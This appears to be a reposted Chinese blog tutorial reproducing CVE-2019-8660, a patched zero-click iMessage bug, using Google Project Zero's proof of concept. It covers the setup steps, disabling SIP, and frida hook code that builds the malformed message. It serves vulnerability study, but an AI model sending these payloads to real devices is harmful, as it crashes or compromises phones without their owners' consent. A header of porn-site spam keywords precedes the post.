日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

CVE-2019-8660 iMessage 漏洞复现

發(fā)布時間:2024/4/18 编程问答 42 豆豆
生活随笔 收集整理的這篇文章主要介紹了 CVE-2019-8660 iMessage 漏洞复现 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

CVE-2019-8660 iMessage 漏洞復現(xiàn)

近期谷歌的研究人員披露了 5 個 iOS 中安全漏洞,并公布了 POC(Proof of concept),攻擊者利用這些漏洞可以通過 iMessage 發(fā)送精心設計的消息來攻擊 iOS 設備,這些漏洞不需要和任何用戶交互,只要目標機 iMessage 信息接收成功即可觸發(fā)漏洞。

CVE-2019-8660、 CVE-2019-8662、 CVE-2019-8647 這三個漏洞可以導致系統(tǒng)重啟,或者任意代碼執(zhí)行。

CVE-2019-8646 這個漏洞可以導致任意文件讀取,比如發(fā)送 iMessage 信息到目標機,可以獲取到目標機的照片。

CVE-2019-8641 這個漏洞由于在最新的 12.4 系統(tǒng)上未修復,所以并未公布具體細節(jié)。其他 4 個漏洞已經(jīng)在 12.4 修復。

復現(xiàn)漏洞

首先是要復現(xiàn)漏洞,以 CVE-2019-8660 為例,其他幾個漏洞的復現(xiàn)方式類似。在測試之前,請打開 iOS 設備上的 iMessage 的消息接收,方法是點擊設置 -> 信息 -> 打開 iMessage 信息開關。下面是復現(xiàn)漏洞的具體步驟:

(1) 安裝 python3

brew install python3

(2) 安裝 frida

pip3 install frida

(3) 下載并解壓 POC,下載地址是: https://bugs.chromium.org/p/project-zero/issues/attachment?aid=398583&signed_aid=aRa647CnzpRUCj7nXIOEKA==

(4) 將 sendMessage.py 里的 receiver 替換成目標郵箱地址

#receiver = "YOUR EMAIL" receiver = "exchen99@foxmail.com"

(5) 將 injectMessage.js 里的 obj 文件的路徑填寫成你本機的

//var d = ObjC.classes.NSData.dataWithContentsOfFile_("PATH/obj"); var d = ObjC.classes.NSData.dataWithContentsOfFile_("/Users/exchen/Downloads/knownkeydict/obj");

(6) 需要關閉 SIP (System Integrity Protection,系統(tǒng)完整性保護),方法是重啟按住 Commond + R 進入 recovery 模式,在實用工具里打開終端,輸入 csrutil disable 即可禁用 SIP,然后重啟進入正常模式。測試完漏洞之后別忘記打開 SIP,方法是:進入 recovery 模式,輸入 csrutil enable。如果沒有這一步操作,frida 注入進程可能會失敗。

(7) 最后執(zhí)行 sendMessage.py 發(fā)送 iMessage,只要目標機接收到 iMessage 消息即可以觸發(fā)漏洞,并不需要點擊查看。

python3 sendMessage.py

觸發(fā)漏洞的目標機重啟之后,打開短信應用會閃退,原因是之前測試的那條帶漏洞的 iMessage 消息還存在,會被短信應用加載,加載錯誤就閃退了。解決的方法是給目標機多發(fā)送幾條正常的信息,這樣會覆蓋掉帶漏洞的短信,然后在搜索欄輸入關鍵字定位到有問題的短信,刪除即可。

POC 的實現(xiàn)原理

POC 的實現(xiàn)原理是使用 AppleScript 調(diào)用 macOS 的信息應用對目標發(fā)送 iMessage 消息,其中使用 frida 對 jw_encode_dictionary_addr 函數(shù)進行 Hook,修改原始的消息體結(jié)構(gòu)。在 injectMessage.js 里有構(gòu)造帶有漏洞的 iMessage 消息體的代碼,核心代碼如下:

console.log(dict); //打印原始正常的消息體 //對正常的消息體進行修改,構(gòu)造帶有漏洞的消息體 var newDict = ObjC.classes.NSMutableDictionary.dictionaryWithCapacity_(dict.count()); var d = ObjC.classes.NSData.dataWithContentsOfFile_("/Users/exchen/Downloads/knownkeydict/obj"); console.log(d); //打印obj文件 newDict.setObject_forKey_("com.apple.messages.MSMessageExtensionBalloonPlugin:0000000000:com.apple.mobileslideshow.PhotosMessagesApp", "bid"); newDict.setObject_forKey_(d, "bp"); //obj文件 // newDict.setObject_forKey_("com.apple.messages.URLBalloonProvider", "bid");newDict.setObject_forKey_(8, "gv"); newDict.setObject_forKey_(0, "pv"); newDict.setObject_forKey_(1, "v"); newDict.setObject_forKey_("FAA29682-27A6-498D-8170-CC92F2077441", "gid"); newDict.setObject_forKey_(d, "bp"); newDict.setObject_forKey_("CB2F0B8D-84F6-480E-9079-27DA53E14EBD", "r"); newDict.setObject_forKey_(1, "v");newDict.setObject_forKey_("\Ufffd\Ufffc", "t"); args[0] = newDict.handle;

替換的 iMessage 消息體會放入 obj 文件,obj 文件里有一個 NSKnownKeyDictionary1 對象,正是因為解析 NSKnownKeyDictionary1 對象時引發(fā)問題造成的漏洞的觸發(fā)。

<dict><key>$classes</key><array><string>NSDictionary</string><string>NSObject</string></array><key>$classname</key><string>NSKnownKeysDictionary1</string> </dict> <dict><key>$classes</key><array><string>NSKnownKeysMappingStrategy1</string><string>NSObject</string></array><key>$classname</key><string>NSKnownKeysMappingStrategy1</string> </dict> <string>i am very long indeed</string> <dict>

上面的 obj 文件實際上是 Archive (歸檔)文件, 通過 NSKeyedArchiver 里的方法可以構(gòu)造 Archive 文件,示例如下:

NSDictionary* obj = @{@"testKey": @"testValue", @"testArray":@[@100, @200, @300], @"testDict":@{@"dictKey":@"dictValue"}};NSData* data = [NSKeyedArchiver archivedDataWithRootObject:obj requiringSecureCoding:true error:&err]; if (!data) {NSLog(@"Error: %@", err);return; } [data writeToFile:@"/Users/exchen/Downloads/archive_test" atomically:YES];

iMessage 的消息內(nèi)容是在 sendMessage.py,我們可以替換 REPLACEME 發(fā)送自定義的消息

subprocess.call(["osascript", "sendMessage.applescript", receiver, "REPLACEME"]

然后在 injectMessage.js 中也需要將 REPLACEME 保持和自定義的消息內(nèi)容一致

if (t == "REPLACEME")

參考資料:
https://bugs.chromium.org/p/project-zero/issues/detail?id=1884
https://bugs.chromium.org/p/project-zero/issues/detail?id=1874
https://bugs.chromium.org/p/project-zero/issues/detail?id=1873
https://bugs.chromium.org/p/project-zero/issues/detail?id=1858

Author: exchen
原文地址:https://www.exchen.net/ios-jpg-system-crash.html

總結(jié)

以上是生活随笔為你收集整理的CVE-2019-8660 iMessage 漏洞复现的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。